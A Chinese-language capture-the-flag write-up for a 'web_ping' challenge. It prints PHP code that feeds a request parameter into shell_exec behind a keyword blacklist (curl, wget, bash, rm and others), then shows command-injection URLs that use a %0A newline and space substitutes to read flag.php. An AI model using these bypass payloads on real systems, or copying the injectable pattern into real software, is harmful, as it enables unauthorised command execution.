web_ping是cc给我出的题目之一,为了降低难度,把题目的源码也一起放出来了。下面是源码:
<?php
$target = @$_REQUEST[ 'ip' ];
if(!$target){
show_source(__FILE__);
}
$target=trim($target);
$substitutions = array(
'&' => ' ',
' ' => '',
';' => ' ',
'|' => ' ',
'-' => ' ',
'$' => ' ',
'(' => ' ',
')' => ' ',
'`' => ' ',
'||' => ' ',
'<>' => ' ',
'bash' => ' ',
'>' => ' ',
'wget' => ' ',
'cat' => ' ',
'cd' => ' ',
'../' => ' ',
'/' => ' ',
'rm' => ' ',
'>>' => ' ',
'echo' => ' ',
'curl' => ' ',
'dd' => ' ',
'cp' => ' ',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// var_dump($target);
// Determine OS and execute the ping command.
if(!preg_match('/web[2-6]/i',$target))
{
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
?>
因为题目关联其他方面,所以源码中有一些内容是无意义的,可能会误导读者。题目的思路应该是绕过ping命令,继续执行其他命令来读取flag.php中的内容,当然了,从源码中可以看出有些命令被过滤掉了,肯定是不能用的。
首先,传参ip=127.0.0.1%0Als,这里%0A是换行的意思,因为源码中有shell_exec()这个函数,所以可以执行linux命令,ls是一个linux命令,是把文件都列举出来,此时可以看到两个文件。

再用linux读取文件的命令来读取flag.php,但是有些命令被过滤了,比如cat,不过不要紧,linux读取文件的命令有很多,例如:

问题又来了,读取文件的格式都是命令+空格+参数,空格也被过滤了,所以还要找到替代空格的字符,也有很多,例如:
1、/**/
2、括号
3、%09
所以,把url写成
http://104.224.163.5/CTF/web_ping/?ip=127.0.0.1%0Ahead/**/flag.php
http://104.224.163.5/CTF/web_ping/?ip=127.0.0.1%0Amore()flag.php
http://104.224.163.5/CTF/web_ping/?ip=127.0.0.1%0Amore%09flag.php
这里有一个问题,head是不能用()和%09的,我在调试的时候发现的,cc的解释是这样的,head不能用括号是因为括号被过滤掉了,more可以用括号是因为括号过滤之后变成了空格,我其实还是有点不明白……读取后的界面是这样的:

右键查看源代码就可以找到flag:

网友评论